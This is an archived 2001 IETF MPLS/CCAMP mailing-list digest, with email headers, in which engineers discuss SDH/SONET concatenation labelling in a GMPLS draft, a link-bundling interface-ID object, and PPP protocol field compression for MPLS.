	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 19:45:43 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkphm00309
	for <mpls@UU.NET>; Wed, 16 May 2001 19:44:55 GMT
Received: from smtp1.gtsgroup.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkphm25315
	for <mpls@UU.NET>; Wed, 16 May 2001 19:44:54 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Wed, 16 May 2001 21:35:43 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LA8T26CZ>; Wed, 16 May 2001 21:44:13 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA042145F5@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'Bernstein, Greg'" <GregB@ciena.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
Date: Wed, 16 May 2001 21:44:12 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear All,

Sorry I was confused, the original text of the draft is correct:

With any kind of ***contiguous*** concatenation there is one big signal, so
one and only one label (pointer) is needed (otherwise it is not a contiguous
concatenation). With any kind of virtual concatenation, there are several
VC's, so one label (pointer) per VC is needed. Even if all the VC's
virtually concatenated are contiguous (by coincidence) we still need to
identify each of them.

Arbitrary and standard concatenations are orthogonal with contiguous and
virtual concatenations.

Arbitrary means anything that is not standard.

We use a code to differentiate between standard and arbitrary contiguous
concatenation to avoid that a downstream node returns a timeslot at a
position not supported by the upstream node. The upstream node indicates the
number and types of signals to be concatenated and the downstream node
cannot change it (it can just accept or refuse).

We don't need a code to differentiate between standard versus arbitrary
virtual concatenation because there is no restriction anyway on the timeslot
positions that can return the downstream node. Again, the upstream node
indicates the number and types of signals to be concatenated and the
downstream node cannot change that (it can just accept or refuse). SDH 1996
restricts the virtual concatenation to some well defined signals, while SDH
2000 allows everything that make sense. But for the previous reasons we
don't need to differentiate between the two (thing about the reason why you
put a signaling element in a signaling message).

Agreed ?

Kind regards,

Eric

-----Original Message-----
From: Bernstein, Greg [mailto:GregB@ciena.com]
Sent: Wednesday, May 16, 2001 5:33 PM
To: ccamp@ops.ietf.org; mpls@UU.NET
Subject: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt


Hi in the draft draft-ietf-ccamp-gmpls-sdh-00.txt it says:

   In case of any type of contiguous concatenation (e.g. standard or
   arbitrary concatenation), only one label appears in the Label
   field. That label is the lowest signal of the contiguously
   concatenated signal. By lowest signal we mean the one having the
   lowest label when compared as integer values, i.e. the first
   component signal of the concatenated signal encountered when
   descending the tree.

   In case of virtual concatenation, the explicit ordered list of all
   labels in the concatenation is given. Each label indicates a
   component of the virtually concatenated signal.

This does not reflect the intent of arbitrary concatenation- arbitrary, size
and placement of timeslots.  Otherwise the main benefit of arbitrary
concatenation, preventing re-grooming is lost.  Corrected text could read:

    In the case of standard contiguous, only one label appears in the Label
   field. That label is the lowest signal of the standard contiguously
   concatenated signal. By lowest signal we mean the one having the
   lowest label when compared as integer values, i.e. the first
   component signal of the concatenated signal encountered when
   descending the tree.

   In the cases of arbitrary or virtual concatenation, the explicit ordered
list of all
   labels in the concatenation is given. Each label indicates a
   component of the arbitrary or virtually concatenated signal.


Greg B.
	Dr. Greg M. Bernstein, Senior Scientist, Ciena 
	New phone: (510) 573-2237



From owner-mpls@UU.NET  Wed May 16 16:32:33 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA18603
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 16:32:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphq17229;
	Wed, 16 May 2001 20:30:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkphq18425
	for mpls-outgoing; Wed, 16 May 2001 20:30:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkphp18375
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 20:29:58 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkphp27038
	for <mpls@UU.NET>; Wed, 16 May 2001 20:29:46 GMT
Received: from xover.mindspeed.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [38.160.241.130])
	id QQkphp05276
	for <mpls@UU.NET>; Wed, 16 May 2001 20:29:46 GMT
Received: by XOVER.dedham.mindspeed.com with Internet Mail Service (5.5.2650.21)
	id <2X8CQG94>; Wed, 16 May 2001 16:29:44 -0400
Message-ID: <87009604743AD411B1F600508BA0F95971BACE@XOVER.dedham.mindspeed.com>
From: "Saha, Sayandeb" <ssaha@netplane.com>
To: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>,
        "'kireeti@juniper.net'" <kireeti@juniper.net>
Subject: UPSTREAM_COMPONENT_INTERFACE_ID  question 
Date: Wed, 16 May 2001 16:29:43 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Kireeti,

draft-kompella-mpls-bundle-05.txt (section 5.2.1) speaks about the
UPSTREAM_COMPONENT_INTERFACE_ID object which is to be
included as a part of the <sender descriptor> for bidirectional LSPs
when using Explicit Indication by Unnumbered. This seems to be an
exception which allows one to specify a component for the upstream
traffic.
Specification of a component for upstream traffic is not supported for
other indication types in Bundling (Implicit Indication and Explicit
Indication by IP address), but instead is inferred.  Also in the
non-bundling
case, when signaling unnumbered interfaces, the ERO only includes 
the upstream router_id and the outgoing interface Id, again nothing about
the upstream link on which traffic should be carried.

My question:
What is the point in having a UPSTREAM_COMPONENT_INTERFACE_ID
for the Explicit Indication by Unnumbered case, when there is nothing
similar
for other cases?  Isn't the  DOWNSTREAM_COMPONENT_INTERFACE_ID 
enough to let us know which link should be selected for reverse direction of
the Bidirectional LSP? Am I missing something here?

-Sayan



From owner-mpls@UU.NET  Wed May 16 18:09:27 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA20052
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 18:09:26 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphw23593;
	Wed, 16 May 2001 22:07:38 GMT
Received: by mail-control.mail.uu.net 
	id QQkphw07929
	for mpls-outgoing; Wed, 16 May 2001 22:07:01 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkphw07611
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 22:06:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkphw26496
	for <mpls@UU.NET>; Wed, 16 May 2001 22:06:26 GMT
Received: from lightera2.csd.ciena.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.96.78.12])
	id QQkphw17675
	for <mpls@UU.NET>; Wed, 16 May 2001 22:06:25 GMT
Received: by lightera2.csd.ciena.com with Internet Mail Service (5.5.2653.19)
	id <LCCAWBSF>; Wed, 16 May 2001 15:06:07 -0700
Message-ID: <E7FD0BF66F57D311809C00902785C4CC0305C106@lightera2.csd.ciena.com>
From: "Bernstein, Greg" <GregB@ciena.com>
To: "'Mannie, Eric'" <Eric.Mannie@ebone.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
Date: Wed, 16 May 2001 15:05:58 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

We started out with the simple term "arbitrary concatenation" a while back
to mean arbitrary in size and in timeslots used.  I'm not sure what was
meant when we added the "contiguous" to this.  Was it:
(1)	Treat this as one big signal within a single SONET Line (SDH MS),
with potentially arbitrary timeslots used.
(2)	Treat this as one big signal within a single SONET line (SDH MS),
with the timeslot numbering lying within a single range, i.e.,  X through Y,
with X < Y.

If (1) then we need a list of time slots. If (2) then only the beginning
time slot is needed.  The problem with (2) is that it is a pretty useless
feature, i.e., doesn't prevent the need for re-grooming and seemed like a
mistake from the rather long gestation period for this specification rather
than something truly intended.

Greg B.
	Dr. Greg M. Bernstein, Senior Scientist, Ciena 
	New phone: (510) 573-2237


		-----Original Message-----
		From:	Mannie, Eric [mailto:Eric.Mannie@ebone.com]
		Sent:	Wednesday, May 16, 2001 12:44 PM
		To:	Bernstein, Greg; ccamp@ops.ietf.org; mpls@UU.NET
		Subject:	RE: Small issue on
draft-ietf-ccamp-gmpls-sdh-00.txt

		Dear All,

		Sorry I was confused, the original text of the draft is
correct:

		With any kind of ***contiguous*** concatenation there is one
big signal, so
		one and only one label (pointer) is needed (otherwise it is
not a contiguous
		concatenation). With any kind of virtual concatenation,
there are several
		VC's, so one label (pointer) per VC is needed. Even if all
the VC's
		virtually concatenated are contiguous (by coincidence) we
still need to
		identify each of them.

		Arbitrary and standard concatenations are orthogonal with
contiguous and
		virtual concatenations.

		Arbitrary means anything that is not standard.

		We use a code to differentiate between standard and
arbitrary contiguous
		concatenation to avoid that a downstream node returns a
timeslot at a
		position not supported by the upstream node. The upstream
node indicates the
		number and types of signals to be concatenated and the
downstream node
		cannot change it (it can just accept or refuse).

		We don't need a code to differentiate between standard
versus arbitrary
		virtual concatenation because there is no restriction anyway
on the timeslot
		positions that can return the downstream node. Again, the
upstream node
		indicates the number and types of signals to be concatenated
and the
		downstream node cannot change that (it can just accept or
refuse). SDH 1996
		restricts the virtual concatenation to some well defined
signals, while SDH
		2000 allows everything that make sense. But for the previous
reasons we
		don't need to differentiate between the two (thing about the
reason why you
		put a signaling element in a signaling message).

		Agreed ?

		Kind regards,

		Eric

		-----Original Message-----
		From: Bernstein, Greg [mailto:GregB@ciena.com]
		Sent: Wednesday, May 16, 2001 5:33 PM
		To: ccamp@ops.ietf.org; mpls@UU.NET
		Subject: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt


		Hi in the draft draft-ietf-ccamp-gmpls-sdh-00.txt it says:

		   In case of any type of contiguous concatenation (e.g.
standard or
		   arbitrary concatenation), only one label appears in the
Label
		   field. That label is the lowest signal of the
contiguously
		   concatenated signal. By lowest signal we mean the one
having the
		   lowest label when compared as integer values, i.e. the
first
		   component signal of the concatenated signal encountered
when
		   descending the tree.

		   In case of virtual concatenation, the explicit ordered
list of all
		   labels in the concatenation is given. Each label
indicates a
		   component of the virtually concatenated signal.

		This does not reflect the intent of arbitrary concatenation-
arbitrary, size
		and placement of timeslots.  Otherwise the main benefit of
arbitrary
		concatenation, preventing re-grooming is lost.  Corrected
text could read:

		    In the case of standard contiguous, only one label
appears in the Label
		   field. That label is the lowest signal of the standard
contiguously
		   concatenated signal. By lowest signal we mean the one
having the
		   lowest label when compared as integer values, i.e. the
first
		   component signal of the concatenated signal encountered
when
		   descending the tree.

		   In the cases of arbitrary or virtual concatenation, the
explicit ordered
		list of all
		   labels in the concatenation is given. Each label
indicates a
		   component of the arbitrary or virtually concatenated
signal.


		Greg B.
			Dr. Greg M. Bernstein, Senior Scientist, Ciena 
			New phone: (510) 573-2237


From owner-mpls@UU.NET  Wed May 16 18:38:18 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA20355
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 18:38:17 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphy24498;
	Wed, 16 May 2001 22:37:41 GMT
Received: by mail-control.mail.uu.net 
	id QQkphy10990
	for mpls-outgoing; Wed, 16 May 2001 22:37:09 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkphy10976
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 22:36:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkphy28674
	for <mpls@UU.NET>; Wed, 16 May 2001 22:36:40 GMT
Received: from web13107.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web13107.mail.yahoo.com [216.136.174.152])
	id QQkphy23333
	for <mpls@UU.NET>; Wed, 16 May 2001 22:36:39 GMT
Message-ID: <20010516223639.97329.qmail@web13107.mail.yahoo.com>
Received: from [38.186.47.9] by web13107.mail.yahoo.com; Wed, 16 May 2001 15:36:39 PDT
Date: Wed, 16 May 2001 15:36:39 -0700 (PDT)
From: Elwin Eliazer <elwinietf@yahoo.com>
Subject: Re: AW: PPP protocol type for MPLS packets ...
To: eric.gray@sandburst.com, xiaoning.nie@infineon.com
Cc: mpls@UU.NET
In-Reply-To: <3B028D63.85F878B8@sandburst.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr2.ash.ops.us.uu.net id QQkphy24498
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA20355

Thanks for all your clarifications.
The compression achieved in protocol field is
probably negligible, when considering the high speed
links (POS) the MPLS packet is likely to traverse
through.

thanks,
Elwin.


--- Eric Gray <eric.gray@sandburst.com> wrote:
> Xiaoning,
> 
>     The compression scheme relies on the fact that
> only odd
> numbers are allocated.  The last byte of the
> protocol number
> is known to have been received when a byte of the
> protocol
> number field has been received with the LSB set. 
> Therefore,
> most implementations might easily be able to
> recognize a PPP
> protocol that is an arbitrary number of bytes long. 
> However,
> PPP specification _requires_ that an implementation
> is able to
> recognize a 16 bit protocol field, even when PFC is
> in use.
> 
> --
> Eric Gray
> 
> xiaoning.nie@infineon.com wrote:
> 
> > Hi Elwin,
> >
> > even if protocol compression (the PFC option) is
> negotiated by LCP, you still can choose to
> > send your PPP frame using 16 bit protocol field.
> The PPP implementation
> > must be able to detect this.
> >
> > regards,
> >
> > Xiaoning
> >
> > -----Ursprüngliche Nachricht-----
> > Von: Elwin Eliazer [mailto:elwinietf@yahoo.com]
> > Gesendet am: Dienstag, 15. Mai 2001 19:17
> > An: Eric Gray; Eric Rosen; George Swallow; Scott
> Bradner
> > Cc: mpls@UU.NET; naveenietf@yahoo.com
> > Betreff: Re: PPP protocol type for MPLS packets
> ...
> >
> > Hi Eric,
> >
> > Thanks for your response.
> >
> > But my question was not about the MPLSCP (control)
> > packets.... it is rather the payload MPLS packets.
> >
> > Could you clarify if you are also referring the
> > same.
> >
> > Thanks,
> > Elwin.
> >
> > --- Eric Gray <eric.gray@sandburst.com> wrote:
> > > Elwin,
> > >
> > >     Quoting from Standard 51 (PPP), section 6.5
> > > towards the bottom of
> > > page 48:
> > >
> > > "The Protocol field is never compressed when
> sending
> > > any LCP packet.
> > >  This rule guarantees unambiguous recognition of
> LCP
> > > packets."
> > >
> > >
> >
>
====================================================================
> > > Eric/George/Scott,
> > >
> > > On a related issue, I notice that - while RFC
> 3032
> > > lists the MPLSCP
> > > protocol number as 0x8281 - PPP-numbers, located
> at:
> > >
> > >
> > >
> >
>
ftp://ftp.isi.edu/in-notes/iana/assignments/ppp-numbers
> > >
> > > Shows this number assigned as follows -
> > >
> > > "8281   Tag Switching - Unicast
> > > [Davie]"
> > >
> > > I can't recall any discussion about re-assigning
> > > this protocol number
> > > and I wonder - is possible at this point to make
> > > this happen (between
> > > B. Davie, Cisco and IANA)?
> > >
> > > --
> > > Eric Gray
> > >
> > > You wrote:
> > >
> > > > Hi,
> > > >
> > > > Will it be a good practice to disable protocol
> > > > field compression (during LCP) as the PPP
> protocol
> > > > field value for MPLS unicast and multicast are
> > > > 0x0281 and 0x0283, as defined in RFC 3032,
> > > > section 4.3, that has the most significant
> > > > byte as non-zero?
> > > >
> > > > regards,
> > > > Elwin.
> > > >
> > > > =====
> > > > -------
> > > > Elwin Stelzer Eliazer
> > > > Corona Networks
> > > > San Jose, CA
> > > > 408-519-3832
> > > > -------
> > > >
> > > >
> __________________________________________________
> > > > Do You Yahoo!?
> > > > Yahoo! Auctions - buy the things you want at
> great
> > > prices
> > > > http://auctions.yahoo.com/
> > >
> >
> > =====
> > -------
> > Elwin Stelzer Eliazer
> > Corona Networks
> > San Jose, CA
> > 408-519-3832
> > -------
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Yahoo! Auctions - buy the things you want at great
> prices
> > http://auctions.yahoo.com/
> 


=====
-------
Elwin Stelzer Eliazer
Corona Networks
San Jose, CA
408-519-3832
-------

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Wed May 16 18:43:31 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA20426
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 18:43:30 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphy12996;
	Wed, 16 May 2001 22:43:06 GMT
Received: by mail-control.mail.uu.net 
	id QQkphy11420
	for mpls-outgoing; Wed, 16 May 2001 22:42:34 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkphy11404
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 22:42:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkphy19413
	for <mpls@UU.NET>; Wed, 16 May 2001 22:41:41 GMT
Received: from pimout2-int.prodigy.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: pimout2-ext.prodigy.net [207.115.63.101])
	id QQkphy29061
	for <mpls@UU.NET>; Wed, 16 May 2001 22:41:41 GMT
Received: from flash.net ([216.51.101.227])
	by pimout2-int.prodigy.net (8.11.0/8.11.0) with ESMTP id f4GMfYv47054;
	Wed, 16 May 2001 18:41:34 -0400
Message-ID: <3B030221.FC3702D5@flash.net>
Date: Wed, 16 May 2001 17:41:38 -0500
From: Michael Waldo <mwwaldo@flash.net>
X-Mailer: Mozilla 4.76 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "Bernstein, Greg" <GregB@ciena.com>
CC: "'Mannie, Eric'" <Eric.Mannie@ebone.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: Re: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
References: <E7FD0BF66F57D311809C00902785C4CC0305C106@lightera2.csd.ciena.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

your (1) sounds more like virtual concatenation to me

(2) is what I have considered to be arbitrary concatenation. This could be
useful when compared to standard contiguous concatenation because it could make
more efficient use of the bandwidth within the SONET line (SDH MS) eg, using an
STS-2c when only 100Mbs is needed. Standard contiguous concatenation payload
values being 3c, 12c, 48c, 192c for SONET.

Considering virtual concatenation, arbitrary concatenation doesn't seem to have
as much appeal (pretty useless).

Has the term "arbitrary concatenation" been defined anywhere? I've seen
contiguous and virtual definitions, but I looked through the references in this
draft, (as well as G.707 and T1.105) and I could not find the "arbitrary"
definition.


-Waldo


"Bernstein, Greg" wrote:

> We started out with the simple term "arbitrary concatenation" a while back
> to mean arbitrary in size and in timeslots used.  I'm not sure what was
> meant when we added the "contiguous" to this.  Was it:
> (1)     Treat this as one big signal within a single SONET Line (SDH MS),
> with potentially arbitrary timeslots used.
> (2)     Treat this as one big signal within a single SONET line (SDH MS),
> with the timeslot numbering lying within a single range, i.e.,  X through Y,
> with X < Y.
>
> If (1) then we need a list of time slots. If (2) then only the beginning
> time slot is needed.  The problem with (2) is that it is a pretty useless
> feature, i.e., doesn't prevent the need for re-grooming and seemed like a
> mistake from the rather long gestation period for this specification rather
> than something truly intended.
>
> Greg B.
>         Dr. Greg M. Bernstein, Senior Scientist, Ciena
>         New phone: (510) 573-2237
>
>                 -----Original Message-----
>                 From:   Mannie, Eric [mailto:Eric.Mannie@ebone.com]
>                 Sent:   Wednesday, May 16, 2001 12:44 PM
>                 To:     Bernstein, Greg; ccamp@ops.ietf.org; mpls@UU.NET
>                 Subject:        RE: Small issue on
> draft-ietf-ccamp-gmpls-sdh-00.txt
>
>                 Dear All,
>
>                 Sorry I was confused, the original text of the draft is
> correct:
>
>                 With any kind of ***contiguous*** concatenation there is one
> big signal, so
>                 one and only one label (pointer) is needed (otherwise it is
> not a contiguous
>                 concatenation). With any kind of virtual concatenation,
> there are several
>                 VC's, so one label (pointer) per VC is needed. Even if all
> the VC's
>                 virtually concatenated are contiguous (by coincidence) we
> still need to
>                 identify each of them.
>
>                 Arbitrary and standard concatenations are orthogonal with
> contiguous and
>                 virtual concatenations.
>
>                 Arbitrary means anything that is not standard.
>
>                 We use a code to differentiate between standard and
> arbitrary contiguous
>                 concatenation to avoid that a downstream node returns a
> timeslot at a
>                 position not supported by the upstream node. The upstream
> node indicates the
>                 number and types of signals to be concatenated and the
> downstream node
>                 cannot change it (it can just accept or refuse).
>
>                 We don't need a code to differentiate between standard
> versus arbitrary
>                 virtual concatenation because there is no restriction anyway
> on the timeslot
>                 positions that can return the downstream node. Again, the
> upstream node
>                 indicates the number and types of signals to be concatenated
> and the
>                 downstream node cannot change that (it can just accept or
> refuse). SDH 1996
>                 restricts the virtual concatenation to some well defined
> signals, while SDH
>                 2000 allows everything that make sense. But for the previous
> reasons we
>                 don't need to differentiate between the two (thing about the
> reason why you
>                 put a signaling element in a signaling message).
>
>                 Agreed ?
>
>                 Kind regards,
>
>                 Eric
>
>                 -----Original Message-----
>                 From: Bernstein, Greg [mailto:GregB@ciena.com]
>                 Sent: Wednesday, May 16, 2001 5:33 PM
>                 To: ccamp@ops.ietf.org; mpls@UU.NET
>                 Subject: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
>
>                 Hi in the draft draft-ietf-ccamp-gmpls-sdh-00.txt it says:
>
>                    In case of any type of contiguous concatenation (e.g.
> standard or
>                    arbitrary concatenation), only one label appears in the
> Label
>                    field. That label is the lowest signal of the
> contiguously
>                    concatenated signal. By lowest signal we mean the one
> having the
>                    lowest label when compared as integer values, i.e. the
> first
>                    component signal of the concatenated signal encountered
> when
>                    descending the tree.
>
>                    In case of virtual concatenation, the explicit ordered
> list of all
>                    labels in the concatenation is given. Each label
> indicates a
>                    component of the virtually concatenated signal.
>
>                 This does not reflect the intent of arbitrary concatenation-
> arbitrary, size
>                 and placement of timeslots.  Otherwise the main benefit of
> arbitrary
>                 concatenation, preventing re-grooming is lost.  Corrected
> text could read:
>
>                     In the case of standard contiguous, only one label
> appears in the Label
>                    field. That label is the lowest signal of the standard
> contiguously
>                    concatenated signal. By lowest signal we mean the one
> having the
>                    lowest label when compared as integer values, i.e. the
> first
>                    component signal of the concatenated signal encountered
> when
>                    descending the tree.
>
>                    In the cases of arbitrary or virtual concatenation, the
> explicit ordered
>                 list of all
>                    labels in the concatenation is given. Each label
> indicates a
>                    component of the arbitrary or virtually concatenated
> signal.
>
>                 Greg B.
>                         Dr. Greg M. Bernstein, Senior Scientist, Ciena
>                         New phone: (510) 573-2237



From owner-mpls@UU.NET  Wed May 16 18:51:43 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA20703
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 18:51:43 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphz00525;
	Wed, 16 May 2001 22:51:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkphz12316
	for mpls-outgoing; Wed, 16 May 2001 22:50:40 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkphz12308
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 22:50:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkphz11851
	for <mpls@UU.NET>; Wed, 16 May 2001 22:50:14 GMT
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQkphz28539
	for <mpls@UU.NET>; Wed, 16 May 2001 22:50:13 GMT
Received: from bemail05.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with SMTP id f4GMnnL18369;
	Thu, 17 May 2001 00:49:49 +0200 (MET DST)
Received: from alcatel.be ([138.203.67.90]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id C1256A4E.007D5D79; Thu, 17 May 2001 00:49:19 +0200
Message-ID: <3B0303E8.DA70A58F@alcatel.be>
Date: Thu, 17 May 2001 00:49:12 +0200
From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Organization: Alcatel Bell - IPO NSG
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Bernstein, Greg" <GregB@ciena.com>
CC: "'Mannie, Eric'" <Eric.Mannie@ebone.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: Re: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
References: <E7FD0BF66F57D311809C00902785C4CC0305C106@lightera2.csd.ciena.com>
Content-Type: multipart/mixed;
 boundary="------------A99028FA63B0C1DCE5A5AA37"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------A99028FA63B0C1DCE5A5AA37
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr0.ash.ops.us.uu.net id QQkphz00525
Content-Transfer-Encoding: quoted-printable

Greg et all,

By taking a look on the version -00 of the draft (published in October
2000 - at that time draft-ietf-mpls-generalized-signalling-00.txt=20
includes sonet/sdh extensions) it was clearly mentioned "arbitrary=20
contiguous concatenation" in the document !

[...]
Requested Grouping Type (RGT): 4 bits

This field indicates the SDH/SONET type of grouping requested
for the LSP, it is used to constraint the type of concatenation.=20
The values are defined in the following table:

Value    Grouping type
-----    ----------------------------------
  0      (Implies no concatenation/bundling when RNC =3D RT =3D 0)
  1      Virtual concatenation        =20
  2      Contiguous standard concatenation            =20
  3      Contiguous arbitrary concatenation
  4      Inverse Multiplexing
[...]

So either i don't understand what "start out" means or you probably
refer to an older version of the document or...  but clearly the
meaning of "contiguous arbitrary concatenation" has not change since
then.

The reference at that time was the document draft-mack-crane-gmpls-
signaling-enhancements-00.txt - section 6.

[...]
Virtual concatenation requires co-routing and implies a bonding=20
function at the endpoints of the group.  For contiguous standard=20
concatenation, there must be a standard number of components=20
(4, 16, 64, etc. for SDH; 3, 12, 48, etc. for SONET), and they=20
must be in one higher order container. For contiguous arbitrary=20
concatenation, the number of components is arbitrary (2, 3, 4, =E0)=20
and they still must be routed in one higher order container.
[...]

However in your draft draft-bms-sdhsonet-mpls-control-frmwrk-00.txt     =20
(published in November 2000), you mention the term "flexible" or=20
"arbitrary concatenation" in section 6.1.2:

[...]
Due to these disadvantages some SONET framer manufacturers now
support "flexible"  or  arbitrary concatenation, i.e., no restrictions
on the size of an STS-Mc (as long as M <=3D N) and no constraints on the
STS-1 timeslots used to convey it, i.e., the signals can use any=20
combination of available time slots.
[...]

So, it does not surprise me that this discrepancy occurs... since
we speak about different types of concatenation and "arbitrary=20
concatenation" is a third type of concatenation (in addition to=20
contiguous and virtual concatenation defined in ITU-T/T1 standards)=20

Regards,
Dimitri.

